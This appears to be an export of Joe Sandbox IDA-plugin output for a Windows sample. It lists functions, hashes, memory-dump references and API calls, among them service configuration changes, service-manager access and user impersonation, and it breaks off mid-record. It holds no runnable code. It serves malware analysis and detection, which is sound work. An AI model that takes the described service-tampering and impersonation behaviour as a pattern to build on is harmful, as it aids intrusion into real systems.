Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 52a8ea3096f2641fb60d9981599fe08e902b592004a0b663ebf437b548c570ce
Instruction ID: 37dba83ff0928ee0dffa84dbc63bc970b1961dbcc0f0e7273b4b29cdea7367de
Opcode Fuzzy Hash: 52a8ea3096f2641fb60d9981599fe08e902b592004a0b663ebf437b548c570ce
Instruction Fuzzy Hash: F1E08CB21486CADACB169F608C127A9761BDF40B10F990126BB019AF49CB2D1812E796

Function 01176F90 Relevance: 4.6, APIs: 3, Instructions: 108
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 01179278
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0117929F
GetNativeSystemInfo.KERNELBASE(?), ref: 011792F6

Memory Dump Source

Source File: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: cf11636c58c02c54214ead3072bcd6d8a7e56b3d0b59bc55abf321c0f584fbb6
Instruction ID: 32a54ba992af44ac53d919a518e51fec05d21f62100c22dcf68b8dc95db1a206
Opcode Fuzzy Hash: cf11636c58c02c54214ead3072bcd6d8a7e56b3d0b59bc55abf321c0f584fbb6
Instruction Fuzzy Hash: 53418D7110820EDFEB09EF64D849BEE7BF5EF05314F01092AD98196A40E7764CA8CF5A

Function 04AC15C4 Relevance: 1.8, APIs: 1, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04AC18C8

Memory Dump Source

Source File: 00000004.00000002.2177998310.0000000004AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ac0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: f00687e28c85974f1e6f30c5be626f6b0ed2ec33d6389911669d4ba121fbeb15
Instruction ID: 0e6d4ca57b1ee13424ce8871c46064e66827f5ba24be3efe226249eb8c8d26df
Opcode Fuzzy Hash: f00687e28c85974f1e6f30c5be626f6b0ed2ec33d6389911669d4ba121fbeb15
Instruction Fuzzy Hash: EFC17970E006599FEB50CFA9C8857AEBBF1FF49314F048629E855E7285DB74A881CF81

Function 04AC0D41 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04AC0DCD

Memory Dump Source

Source File: 00000004.00000002.2177998310.0000000004AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ac0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: d4a512b3c3d9ef10562c619c37929697a09eae6f5c39d6af1412de2adca4f0b5
Instruction ID: 79ae9655dfb8b287f6b6887930f079cca79c70beed57d0d3a1164105c0ab48f2
Opcode Fuzzy Hash: d4a512b3c3d9ef10562c619c37929697a09eae6f5c39d6af1412de2adca4f0b5
Instruction Fuzzy Hash: 212137B6C04218DFCB51CF99D984ADEFBF5EF88320F14811AD808BB204D734A540CBA5

Function 04AC0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04AC0DCD

Memory Dump Source

Source File: 00000004.00000002.2177998310.0000000004AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ac0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 656a337c4dec97b9c80884bb8480ae0d6b78a355cd409171739ea0b9cd5d9f00
Instruction ID: db7420fe7fe0e9387ba2d4e4797fa8752517c6dac94a51d9d5e2ace0e8ad3d6c
Opcode Fuzzy Hash: 656a337c4dec97b9c80884bb8480ae0d6b78a355cd409171739ea0b9cd5d9f00
Instruction Fuzzy Hash: E02113B6C04218DFCB50CF99D884ADEFBF5EB88320F14861AD818AB244D735A540CBA5

Function 04AC1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04AC1580

Memory Dump Source

Source File: 00000004.00000002.2177998310.0000000004AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ac0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: a1f73d4ed5a1b63aef994999c8fd87829895bf5ec05e822e9e5884d4af491e9b
Instruction ID: 28af106ff8d7c057dc955a79893846e00ddce8c9a288c1708d90ce2bcd48782c
Opcode Fuzzy Hash: a1f73d4ed5a1b63aef994999c8fd87829895bf5ec05e822e9e5884d4af491e9b
Instruction Fuzzy Hash: 152144B1D00249DFDB10CF9AC884BDEFBF8EB48320F108029E819A3241D338A644CFA5

Function 04AC1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04AC1580

Memory Dump Source

Source File: 00000004.00000002.2177998310.0000000004AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ac0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 002ef56583d522c7a183afbab5115aef97d9feec78adbb01a8a34445a47ca2d0
Instruction ID: ca85c2ebb4376d7c323bf5655b4c8aaf0203ee3ccf1a5c99aeed43e800123e35
Opcode Fuzzy Hash: 002ef56583d522c7a183afbab5115aef97d9feec78adbb01a8a34445a47ca2d0
Instruction Fuzzy Hash: D61126B1D00249CFDB10CF9AC884BDEFBF4EB48320F148029E918A3241D378A644CFA5

Function 04AC1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04AC1367

Memory Dump Source

Source File: 00000004.00000002.2177998310.0000000004AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ac0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 41f567c5c7a87a4755359d4fef555a3733d473c941535dcb41d29b00c16ed027
Instruction ID: 4791168d609a51cabcb4e270ad0b712dd8300c507b9b7bdf6a8aedcb2371462f
Opcode Fuzzy Hash: 41f567c5c7a87a4755359d4fef555a3733d473c941535dcb41d29b00c16ed027
Instruction Fuzzy Hash: 61116A75900249CFDB10CF9AC544BDEFBF8EF48324F148419D518A3640C738A944CFA5

Function 04AC1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04AC1367

Memory Dump Source

Source File: 00000004.00000002.2177998310.0000000004AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ac0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: eb4d9d6bf5925d0f3bfa430b615205ddac7d29f818d666e521ac4c13db16bba8
Instruction ID: ab54ad0bbe7ae07ccbbcd3b48bdaa25680814cf5d0dcad8944e9a47208559d9c
Opcode Fuzzy Hash: eb4d9d6bf5925d0f3bfa430b615205ddac7d29f818d666e521ac4c13db16bba8
Instruction Fuzzy Hash: A81136B1900249CFDB10CF9AC945BDEFBF8EB48324F14841AD558A3640C778A544CFA5

Function 0116C6DA Relevance: 1.5, APIs: 1, Instructions: 20
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0116C6E9

Memory Dump Source

Source File: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5da4066dbc659f0f30077f05df93f7eca898c5b03aee364c90ead69c6c515661
Instruction ID: 1b58f4b2f96a9c64a08c3dacc5079ec572aa85a4275c3388680a7184c0ad1f00
Opcode Fuzzy Hash: 5da4066dbc659f0f30077f05df93f7eca898c5b03aee364c90ead69c6c515661
Instruction Fuzzy Hash: 9CE02B3210425B5E8B0EFE14CCE164D7781EE5421471D5914C48ACB483DB21F4238388

Function 01176FFB Relevance: 1.5, APIs: 1, Instructions: 9
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 01177C71

Memory Dump Source

Source File: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6ed8e0c94b5a85d428204d12ecaceb7531048330878bd0c34e96de29c46e61d0
Instruction ID: aba070ef2de000cef7cae8f89669c81fffe7f790752ed16b86c6f6471eb3ecb6
Opcode Fuzzy Hash: 6ed8e0c94b5a85d428204d12ecaceb7531048330878bd0c34e96de29c46e61d0
Instruction Fuzzy Hash: 64C0EAB0408A09CFDB482F5584C857DBBF0BB18201F43095C9AC587340D73654A0CF47

Function 00FDE6E5 Relevance: 1.3, APIs: 1, Instructions: 27
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00FDEE1E

Memory Dump Source

Source File: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 179204901bf8565a83a9c450715282a3fa34440461c1d5423e282c317b873d53
Instruction ID: fa83c272de68fa3e6e128afc338f26873566ebff74dd35d170fb60536c499879
Opcode Fuzzy Hash: 179204901bf8565a83a9c450715282a3fa34440461c1d5423e282c317b873d53
Instruction Fuzzy Hash: D1F0AC7221C604DFD704AF15C881A7ABBFAEF88710F15892EE9C587314D7315C51DB96

Function 00FDF050 Relevance: 1.3, APIs: 1, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00FDF8E1

Memory Dump Source

